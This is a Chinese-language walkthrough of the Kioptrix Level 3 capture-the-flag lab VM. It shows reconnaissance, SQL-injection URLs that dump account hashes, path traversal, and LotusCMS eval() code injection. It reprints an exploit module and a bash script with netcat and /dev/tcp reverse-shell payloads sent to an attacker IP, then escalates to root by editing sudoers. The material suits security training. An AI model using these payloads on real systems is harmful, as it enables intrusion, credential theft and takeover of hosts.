注意網址在6後面還接著from information_schema.tables where table_schema=database()
table裡面最後一個gallarific_users跟第一個dev_accounts還滿有興趣的,想得到gallarific_users這個table中的字段名
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='gallarific_users' --+ &sort=photoid#photos
被發現了有這些字:
userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
重要的是第二個跟第三個,username跟password。
查gallarific_users裡面的帳號密碼:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from gallarific_users --+ &sort=photoid#photos
group_concat(username,0x7e,password)之中的0x7e是波浪狀符號,所以如上圖,username是admin、password是n0t7t1k4。
再找找dev_accounts的:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='dev_accounts' --+ &sort=photoid#photos
也同樣有username跟password。
查gallarific_users裡面的帳號密碼:
http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from dev_accounts --+ &sort=photoid#photos
看上圖紫色字,dreg
是0d3eccfb887aabd50f243b3f155c0f85
loneferret
是5badcaf789d3d1d09794d8f021f40f0e
。
接下來就接上面0x03一樣。
The Deadline: Kioptrix: Level 1.2 (#3) Write-up
abatchy's blog | Kioptrix 3 Walkthrough (Vulnhub)
exploitdb/18565.rb at master · offensive-security/exploitdb · GitHub
LotusCMS eval() Remote Command Execution - Manual Exploitation - YouTube
LotusCMS-Exploit/lotusRCE.sh at master · Hood3dRob1n/LotusCMS-Exploit · GitHub
Url Encode / Decode - 將字串轉換為Url Encode / Decode 編碼 解碼 - ez2o Studio
https://mks.tw/3045/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8-vulnhub-kioptrix-level-1-2-3-write-up
https://zhuanlan.zhihu.com/p/185848966
https://www.somd5.com
[Reply] Linux中的sudoers檔案設定簡介 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
https://lonelysec.com/vulnhub-x-kioptrix-level-1-2-3/
Vulnhub滲透測試練習-Kioptrix 3 - ITW01
Kioptrix Level3(#1.3) Walkthrough - ごちうさ民の覚え書き
https://blog.csdn.net/YouthBelief/article/details/121511584
https://blog.csdn.net/warmjuhao/article/details/78262100
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:00 CST
Nmap scan report for 192.168.44.131
Host is up (0.0016s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 36.25 seconds
$ nmap -A 192.168.44.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:03 CST
Nmap scan report for 192.168.44.131
Host is up (0.90s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
Segmentation fault
$ nikto -h 192.168.44.131
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.131
+ Target Hostname: 192.168.44.131
+ Target Port: 80
+ Start Time: 2022-10-14 09:05:54 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Sat Jun 6 03:22:00 2009
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2022-10-14 09:06:04 (GMT8) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
以上三步驟,分別是確定靶機IP,確認靶機開啟服務,以及利用nikto確認網頁弱點跟有什麼目錄。因為有80 port,所以到了網頁隨便亂按,到了login頁面,試試有無SQL injection。
訪問80port,也就是網頁。
到Login頁面
嘗試SQL injection
從這例子,似乎username也不易有SQLi漏洞。
但依然顯示下圖:
所以先放棄SQLi。
放棄網頁漏洞後,想找LotusCMS的漏洞,不過從這頁面看不出來版本,所以用瀏覽器的檢視原始碼
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>LotusCMS Administration</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="style/comps/admin/css/login.css" rel="stylesheet" type="text/css" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="style/comps/admin/js/jquery.corner.js"></script>
<script type="text/javascript">
<!--
$(document).ready(function() {
// Handler for .ready() called.
$('body').corner();
$('#footer').corner();
$('#menu').corner("right");
});
-->
</script>
</head>
<body>
<div id="masthead">
<a href="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="LotusCMS Adminstration"/></a>
</div>
<div id="content">
<div id="main">
<div class="article">
<p class='msg error'>Username or password left blank.</p>
<form method="POST" action="index.php?system=Admin&page=loginSubmit" id="contactform">
<label for="name"><h4>Username:</h4></label>
<input id="username" name="username" class="logged" /><br /><br />
<label for="password"><h4>Password:</h4></label>
<input id="password" name="password" type="password" class="logged" /><br /><br />
<input type="submit" value="Login" class="loggedIn"/>
</form>
</div>
</div>
<ul id="footer" class="clearfix">
<li style="width: 100%;text-align: center;">Proudly Powered by: <a href="http://www.lotuscms.org">LotusCMS</a></li>
</ul>
</div>
</body>
</html>
看到第25行
="index.php?page=index"><img src="style/comps/admin/img/smalllogo.png" style="text-decoration: none; border: 0;" alt="Lotus
可以從img src中看到路徑,試著到style/comps/admin/
看看。
一個一個點開看有沒有有趣的東西,在img目錄時,發現有一個version.png
那張圖片長這樣:
所以大概版本是3.0,找找有沒有相關攻擊腳本
$ searchsploit Lotus CMS
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote Code Execution | php/webapps/15964.py
Lotus Core CMS 1.0.1 - Local File Inclusion | php/webapps/47985.txt
Lotus Core CMS 1.0.1 - Remote File Inclusion | php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
但第4個的原始碼有以下內容:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
大概是要用msf才有辦法弄。
至於第一個,那是用python 2去寫的,所以要用pyhton2執行
$ python2 15964.py
| -------------------------------------------- |
| Lotus CMS v3.0 Remote Code Execution Exploit |
| by mr_me - net-ninja.net ------------------- |
Usage: ./15964.py [<options>] -t [target] -d [directory path]
Example 1: ./15964.py -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
Example 2: ./15964.py -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/
Options:
-h, --help show this help message and exit
-p PROXY HTTP Proxy <server:port>
-t TARGET The Target server <server:port>
-d DIRPATH Directory path to the CMS
-i BLOGPOSTID Blog Post ID that will be injected
-l Code execution via apache access log
-c Code execution via Blog comments
可以發現會需要LotusCMS的directory path,但找不到,所以換別條路。
而這網頁存在%00截斷。如果網址輸入:
http://192.168.44.131/index.php?system=../../../../../../../../etc/passwd%00.
就會發現頁面變成如下:
網頁內容如下:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash
Parse error: syntax error, unexpected '.', expecting T_STRING or T_VARIABLE or '$' in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()'d code on line 1
雖然透過nikto知道是php而且版本是5.2.4,不過好像也沒什麼用。繼續挖有沒有什麼有趣的特徵。
比如說,當我們點login頁面時,網址是http://192.168.44.131/index.php?system=Admin
,但當我們到style/comps/admin/
看看,
點進裡面的login.phtml
會進入以下畫面
再點進最上面的超連結,可以發現網址是http://192.168.44.131/style/comps/admin/index.php?page=index
,並不是像之前的system=Admin
這種格式。
不過找不到網頁,所以把中間的style到admin刪掉,可以連回首頁如下圖
如果把page等號後面視為注入點,可以試試在index後面加單引號:
會跑出錯誤訊息,不過跟searchsploit結果一樣,是eval()函式漏洞。
看來真的也不知道該怎麼辦,只好寄望在剛剛searchsploit時看到的LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)
。雖然它是一支要配合metasploit才能使用的攻擊腳本,但已經有youtube影片解釋要如何自己動手實現這支攻擊腳本的行為。
首先看到這支腳本的內容
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
def initialize(info = {})
super(update_info(info,
'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Lotus CMS 3.0's Router()
function. This is done by embedding PHP code in the 'page' parameter,
which will be passed to a eval call, therefore allowing remote code execution.
The module can either automatically pick up a 'page' parameter from the
default page, or manually specify one in the URI option. To use the automatic
method, please supply the URI with just a directory path, for example: "/lcms/".
To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alligator Security Team',
'dflah_ <dflah_[at]alligatorteam.org>',
'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
'sinn3r' #Metasploit-fu
],
'References' =>
[
[ 'OSVDB', '75095' ],
[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
],
'Payload' =>
{
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
'DisableNops' => true,
'BadChars' => "#",
'Keys' => ['php']
},
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
'Privileged' => false,
'DisclosureDate' => 'Mar 3 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, 'URI', '/lcms/']),
Opt::RPORT(80),
], self.class)
end
def target_url
uri = datastore['URI']
# Make sure uri begins with '/'
if uri[0] != '/'
uri = '/' + uri
end
# Extract two things:
# 1. The file path (/index.php), including the base
# 2. GET parameters from the GET query
uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
base = (uri[0] || "") + '/'
fname = uri[1] || ""
query = uri[2] || ""
params = queryparse(query) rescue ""
# Use the user-supplied query if there's one, if not we'll auto-detect
# by regexing a hyper-link
if base.empty? or fname.empty? or params.empty?
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['URI']
}, 20)
if res and res.code == 200
uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
@uri = base + uri[0]
@arg = uri[1]
print_status("Using found page param: #{@uri}?#{@arg}")
else
@uri = ""
@arg = ""
end
else
@uri = base + fname
@arg = "page=#{params['page']}"
end
end
def check
target_url
if @uri.empty? or @arg.empty?
print_error("Unable to get the page parameter, please reconfigure URI")
return
end
signature = rand_text_alpha(rand(10)+10)
stub = "${print('#{signature}')};"
sploit = "');#{stub}#"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
if response and response.body =~ /#{signature}/
print_status("Signature: #{signature}")
return Exploit::CheckCode::Vulnerable
else
print_error("Signature was not detected")
return Exploit::CheckCode::Safe
end
end
def exploit
return if not check == Exploit::CheckCode::Vulnerable
begin
sploit = "');#{payload.encoded}#"
print_status("Sending exploit ...")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
handler
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
直接往下看到def check
的部分,這段程式碼可以自己手動實現。首先解析一下程式碼
signature = rand_text_alpha(rand(10)+10)
stub = "${print('#{signature}')};"
sploit = "');#{stub}#"
response = send_request_cgi(
{
'method' => 'POST',
'uri' => @uri,
'data' => @arg + Rex::Text.uri_encode(sploit)
}, 20)
先看到3個變數signature、stub跟sploit,可以發現它們其實一個引用一個,而signature只是一個隨機生成的數字。引用規則是雙引號內的東西,看到#符號直到}符號就取代。所以取代完會是長這樣: ');${print('signature生成的數字')};#
。
這時候使用firefox外掛HackBar來實踐
會有page=index是本來網頁就有這種網址,再依程式碼提示,用Post,按下Excute即可看到
看到最左邊有個小的aaa對不對? 這代表已經利用eval()函式注入PHP。
當然,也可以不要用print這種只是把字印出來的函式,比如剛剛的注入code改成:
page=index');${system('id')};#
,就可以顯示出
再比如page=index');${system('uname -a')};#
,則會輸出:
page=index');${system('pwd; ls -lua')};#
就更猛了:
不過這樣不太好看,所以檢視原始碼:
<p>Or cut to the chase and see it <a href="/gallery">now!</a></p> </div>
</div>
<div id="footer">
<p>
<!-- Leaving in my name and website link will be greatly appreciated in return for offering you this template for free. Thanking you in advance. -->
© 2011 Ligoat Security
</p>
</div>
</div>
</body>
</html>/home/www/kioptrix3.com
total 92
drwxr-xr-x 8 root root 4096 Oct 15 10:56 .
drwxr-xr-x 3 root root 4096 Apr 16 2011 ..
drwxrwxrwx 2 root root 4096 Apr 15 2011 cache
drwxrwxrwx 8 root root 4096 Apr 14 2011 core
drwxrwxrwx 8 root root 4096 Apr 16 2011 data
-rw-r--r-- 1 root root 23126 Apr 14 2011 favicon.ico
drwxr-xr-x 7 root root 4096 Apr 14 2011 gallery
-rw-r--r-- 1 root root 26430 Apr 16 2011 gnu-lgpl.txt
-rw-r--r-- 1 root root 399 Oct 15 05:27 index.php
drwxrwxrwx 10 root root 4096 Apr 16 2011 modules
drwxrwxrwx 3 root root 4096 Apr 16 201照style
-rw-r--r-- 1 root root 243 Oct 15 09:07 update.php
照這套路,應該可以在system('')
這個單引號裡塞入reverse shell所需要的指令,就可以RCE。其實這作者也有把它的bash檔釋出,來看看github上LotusCMS-Exploit/ lotusRCE.sh:
#!/bin/bash
# Lotus CMS 3.0 eval() Remote Command Execition Exploit
# flaw in router() function, original write-up: http://secunia.com/secunia_research/2011-21/
# Scripted in Bash by HR
# USAGE: ./lotusRCE.sh target lotusCMS-path
# USAGE: ./lotusRCE.sh ki0ptrix3.com /
# USAGE: ./lotusRCE.sh 192.168.1.36 /lcms/
# Enter IP and PORT when asked to spawn netcat based reverse shell ;)
#Start the magic
target="$1" #Target site, ex: 192.168.1.36 or ki0ptrix3.com (no http://)
path="$2" # Path to LotusCMS, ex: /lcms/ or /
junk=/tmp
storage1=$(mktemp -p "$junk" -t fooooobar1.tmp.XXX)
storage2=$(mktemp -p "$junk" -t fooooobar2.tmp.XXX)
#First a simple Bashtrap function to handle interupt (CTRL+C)
trap bashtrap INT
bashtrap(){
echo
echo
echo 'CTRL+C has been detected!.....shutting down now' | grep --color '.....shutting down now'
rm -rf "$storage1"
rm -rf "$storage2"
#exit entire script if called
exit 0
}
#End bashtrap()
page_exists(){
#confirm page exists
curl "$target$path/index.php?page=index" -I -o "$storage1" 2> /dev/null
cat "$storage1" | sed '2,20d' | cut -d' ' -f2 > "$storage2" 2> /dev/null
pageused=$(cat "$storage2")
if [ "$pageused" == '200' ]; then
echo
echo "Path found, now to check for vuln...." | grep --color -E 'Path found||now to check for vuln'
echo
vuln_check
else
echo "Provided site and path not found, sorry...."
exit;
fi
}
vuln_check(){
# page exists, check if vuln... URLencode: "page=index');${print('abc123')};#"
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bprint%28%27Hood3dRob1n%27%29%7D%3B%23" -o "$storage1" 2> /dev/null
grep 'Hood3dRob1n' "$storage1" 2> /dev/null 2>&1
if [ "$?" == 0 ]; then
echo "Regex found, site is vulnerable to PHP Code Injection!" | grep --color -i -E 'Regex found||site is vulnerable to PHP Code Injection'
echo
exploit_funk
else
echo "Unable to find injection in returned results, sorry...."
exit;
fi
}
exploit_funk(){
# Vuln confirmed, time to exploit shall we ;)
echo "About to try and inject reverse shell...." | grep --color 'About to try and inject reverse shell'
echo "what IP to use?"
read IP
echo "What PORT?"
read PORT
echo
echo "OK, open your local listener and choose the method for back connect: " | grep --color -E 'OK||open your local listener and choose the method for back connect'
select reverse_options in "NetCat -e" "NetCat /dev/tcp" "NetCat Backpipe" "NetCat FIFO" "Exit"
do
case $reverse_options in
"NetCat -e")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null
;;
"NetCat /dev/tcp")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null
;;
"NetCat Backpipe")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mknod%20backpipe%20p%20%26%26%20nc%20%24IP%20%24PORT%200%3Cbackpipe%20%7C%20%2fbin%2fbash%201%3Ebackpipe%27%29%7D%3B%23" 2> /dev/null
;;
"NetCat FIFO")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27mkfifo%20%2ftmp%2ffoo%20%26%26%20cat%20%2ftmp%2ffoo%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20%24IP%20%24PORT%20%3E%20%2ftmp%2ffoo%27%29%7D%3B%23" 2> /dev/null
;;
"Exit")
echo "got r00t?"
exit;
;;
esac
done
}
#MAIN
clear
if [ -z "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ]; then
echo
echo "USAGE: $0 target LotusCMS_path" | grep --color 'USAGE'
echo "EX: $0 192.168.1.36 /lcms/" | grep --color 'EX'
echo "EX: $0 ki0ptrix3.com /" | grep --color 'EX'
echo
exit;
fi
page_exists
rm -rf "$storage1"
rm -rf "$storage2"
#EOF
可以看見像是
"NetCat /dev/tcp")
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27%2fbin%2fbash%20-i%20%3E%20%2fdev%2ftcp%2f%24IP%2f%24PORT%200%3C%261%202%3E%261%27%29%7D%3B%23" 2> /dev/null
其實把那段百分號編碼
拿去解碼(解碼網址https://www.ez2o.com/App/Web/UrlEncodeDecode
):
可以發現猜想是對的,實際上來照做一次。
假設我們選 的其中一行reverse shell
curl $target$path/index.php --data "page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fsh%20$IP%20$PORT%27%29%7D%3B%23%22" 2> /dev/null
解碼後:
curl $target$path/index.php --data "page=index');${system('nc -e /bin/sh $IP $PORT')};#"" 2> /dev/null
先在攻擊機上監聽port: nc -lvp 4444
再把$IP
跟$PORT
代換成攻擊機IP跟剛剛的監聽port:
page=index');${system('nc -e /bin/sh 172.24.112.168 4444')};#
這時就可以監聽成功:
$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com
重要!
記得下這行命令:
python -c 'import pty;pty.spawn("/bin/bash")'
就會是一個正常的shell,不過這一行原理待查!
$ nc -lvp 4444
listening on [any] 4444 ...
whoami
connect to [172.24.112.168] from DESKTOP-NRNV04H.mshome.net [172.24.112.1] 49513
www-data
pwd
/home/www/kioptrix3.com
pwd
/home/www/kioptrix3.com
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$
接下來想要提權,但據說直接打作業系統核心沒用。所以試試看資料庫,尋找內容有關 mysql
,且副檔名為 php 的檔案
find . -name "*.php" | xargs grep -i "mysql"
出現一大堆結果,有興趣的是這些結果:
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_server"] = "localhost";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_database"] = "gallery";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_username"] = "root";
./gallery/gconfig.php: $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
或者,可以用另一種可能比較精確的搜尋方式
find / -name "*config.php" 2>/dev/null
這是代表尋找Web 配置文件。
在nikto掃描時也確定有phpmyadmin,另外上面的最後兩行就是登入名稱跟密碼。
在最左邊選擇gallery,再選dev_accounts,再點瀏覽,就可以看到兩個使用者名稱與密碼:
這裡密碼用md5給hash過了,隨便找一個網站解密:
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
0d3eccfb887aabd50f243b3f155c0f85
是Mast3r
5badcaf789d3d1d09794d8f021f40f0e
是starwars
嘗試用ssh登入:
$ ssh loneferret@192.168.44.131
Unable to negotiate with 192.168.44.131 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
之所以會出現這樣的錯誤訊息,是因為OpenSSH 7.0以後的版本不再支持ssh-dss (DSA)算法,解決方法是增加選項-oHostKeyAlgorithms=+ssh-dss,即可成功解決
$ ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.44.131
The authenticity of host '192.168.44.131 (192.168.44.131)' can't be established.
DSA key fingerprint is SHA256:hB/LEVToKJYae+t/k0W5knptdIsQ/eS2TnBbUrxHIG8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.131' (DSA) to the list of known hosts.
loneferret@192.168.44.131's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$
來翻翻這個帳號有沒有什麼有趣的東西:
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
所以翻到了一個CompanyPolicy.README,裡面寫了可以透過sudo ht
來編輯、創建跟瀏覽檔案。
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo ht
上面這一段故事是這樣的,如果直接sudo ht
,會跳出Error opening terminal: xterm-256color.
,google一下後,知道要先export TERM=xterm
,再開啟ht這個編輯器。
開啟成功後畫面如下:
接下來要做的事,是讓loneferret可以有使用shell的權限。
按F3開啟檔案/etc/sudoers
開啟後,在如下圖的編輯畫面中,加上一個,/bin/sh
如下圖黃標。
原本的loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/localbin/ht
意思是這樣的:
loneferret可以從所有主機(第一個ALL的意思),在不輸入密碼的情況下(NOPASSWD的意思),執行!/usr/bin/su, /usr/localbin/ht
兩條指令。所以我們可以加上/bin/su
,使得這使用者不用密碼即可提權。
按F2儲存,F10退出。輸入sudo -l
列出當前用戶可以執行的命令。只有在 sudoers 裏的用戶才能使用該選項。
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
(root) NOPASSWD: /bin/sh
不過這樣無法提權,所以乾脆不要用/bin/sh
,直接改成/bin/su
loneferret@Kioptrix3:~$ sudo su
[sudo] password for loneferret:
Sorry, user loneferret is not allowed to execute '/bin/su' as root on Kioptrix3.
loneferret@Kioptrix3:~$ sudo ht
loneferret@Kioptrix3:~$ sudo su
root@Kioptrix3:/home/loneferret#
提權成功。
接下來要找flag,故技重施,先到根目錄,接下來就updatedb
跟locate root
。
root@Kioptrix3:/home/loneferret# pwd
/home/loneferret
root@Kioptrix3:/home/loneferret# cd
root@Kioptrix3:~# updatedb
root@Kioptrix3:~# locate root
/root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/rcS.d/S20checkroot.sh
/lib/security/pam_rootok.so
/opt/framework-3.6.0/msf3/data/wordlists/root_userpass.txt
/opt/framework-3.6.0/msf3/data/wordlists/.svn/text-base/root_userpass.txt.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-arm/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-sh/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/chroot.S
/opt/framework-3.6.0/msf3/external/source/meterpreter/source/bionic/libc/arch-x86/syscalls/.svn/text-base/chroot.S.svn-base
/opt/framework-3.6.0/share/nmap/scripts/ldap-rootdse.nse
/root/.bash_history
/root/.bashrc
/root/.mysql_history
/root/.nano_history
/root/.profile
/root/.ssh
/root/.subversion
/root/Congrats.txt
/root/ht-2.0.18
/root/.subversion/README.txt
/root/.subversion/auth
/root/.subversion/config
/root/.subversion/servers
/root/.subversion/auth/svn.simple
